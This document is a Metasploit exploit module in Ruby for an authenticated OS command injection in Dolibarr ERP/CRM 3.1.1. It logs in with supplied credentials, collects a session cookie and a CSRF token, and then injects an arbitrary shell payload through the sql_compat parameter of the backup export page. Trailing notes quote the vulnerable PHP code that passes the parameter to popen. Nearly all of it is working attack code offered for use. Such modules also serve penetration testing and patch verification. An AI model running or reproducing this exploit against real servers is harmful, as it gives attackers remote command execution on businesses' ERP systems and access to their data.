Dolibarr ERP/CRM 3 - (Authenticated) OS Command Injection (Metasploit)

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Dolibarr ERP & CRM 3 Post-Auth OS Command Injection",
			'Description'    => %q{
					This module exploits a vulnerability found in Dolibarr ERP/CRM's
				backup feature.  This software is used to manage a company's business
				information such as contacts, invoices, orders, stocks, agenda, etc.
				When processing a database backup request, the export.php function
				does not check the input given to the sql_compat parameter, which allows
				a remote authenticated attacker to inject system commands into it,
				and then gain arbitrary code execution.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>',  #Discovery, PoC
					'sinn3r'  #Metasploit
				],
			'References'     =>
				[
					['URL', 'http://seclists.org/fulldisclosure/2012/Apr/78']
				],
			'Arch'            => ARCH_CMD,
			'Compat'          =>
				{
					'PayloadType' => 'cmd'
				},
			'Platform'       => ['unix', 'linux'],
			'Targets'        =>
				[
					# Older versions are probably also vulnerable according to
					# Nahuel's report on full disclosure
					['Dolibarr 3.1.1 on Linux', {}]
				],
			'Privileged'     => false,
			'DisclosureDate' => "Apr 6 2012",
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('USERNAME',  [true, 'Dolibarr Username', 'admin']),
					OptString.new('PASSWORD',  [true, 'Dolibarr Password', 'test']),
					OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
				], self.class)
	end

	def check
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => target_uri.path
		})

		if res.body =~ /Dolibarr 3\.1\.1/
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end
	end

	def get_sid_token
		res = send_request_raw({
			'method' => 'GET',
			'uri'    => @uri.path
		})

		# Get the session ID from the cookie
		m = res.headers['Set-Cookie'].match(/(DOLSESSID_.+);/)
		id = (m.nil?) ? nil : m[1]

		# Get the token from the decompressed HTTP body response
		m = res.body.match(/type="hidden" name="token" value="(.+)"/)
		token = (m.nil?) ? nil : m[1]

		return id, token
	end

	def login(sid, token)
		res = send_request_cgi({
			'method'   => 'POST',
			'uri'      => "#{@uri.path}index.php",
			'cookie'   => sid,
			'vars_post' => {
				'token'         => token,
				'loginfunction' => 'loginfunction',
				'tz'            => '-6',
				'dst'           => '1',
				'screenwidth'   => '1093',
				'screenheight'  => '842',
				'username'      => datastore['USERNAME'],
				'password'      => datastore['PASSWORD']
			}
		})

		location = res.headers['Location']
		return (location =~ /admin\//)
	end

	def exploit
		@uri = target_uri
		@uri.path << "/" if @uri.path[-1, 1] != "/"
		peer = "#{rhost}:#{rport}"

		print_status("#{peer} - Getting the sid and token...")
		sid, token = get_sid_token
		if sid.nil?
			print_error("#{peer} - Unable to retrieve a session ID")
			return
		elsif token.nil?
			print_error("#{peer} - Unable to retrieve a token")
			return
		end

		user = datastore['USERNAME']
		pass = datastore['PASSWORD']
		print_status("#{peer} - Attempt to login with \"#{user}:#{pass}\"")
		success = login(sid, token)
		if not success
			print_error("#{peer} - Unable to login")
			return
		end

		print_status("#{peer} - Sending malicious request...")
		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => @uri.path + "admin/tools/export.php",
			'cookie'    => sid,
			'vars_post' => {
				'token'             => token,
				'export_type'       => 'server',
				'what'              => 'mysql',
				'mysqldump'         => '/usr/bin/mysqldump',
				'use_transaction'   => 'yes',
				'disable_fk'        => 'yes',
				'sql_compat'        => ";#{payload.encoded};",
				'sql_structure'     => 'structure',
				'drop'              => '1',
				'sql_data'          => 'data',
				'showcolumns'       => 'yes',
				'extended_ins'      => 'yes',
				'delayed'           => 'yes',
				'sql_ignore'        => 'yes',
				'hexforbinary'      => 'yes',
				'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
				'compression'       => 'none'
			}
		})

	end
end

=begin
Notes:

114    if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137    $paramcrypted=$param;
...
159    $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165    if ($handle)
166    {
....
169    $handlein = popen($fullcommandclear, 'r');
....
185    }
=end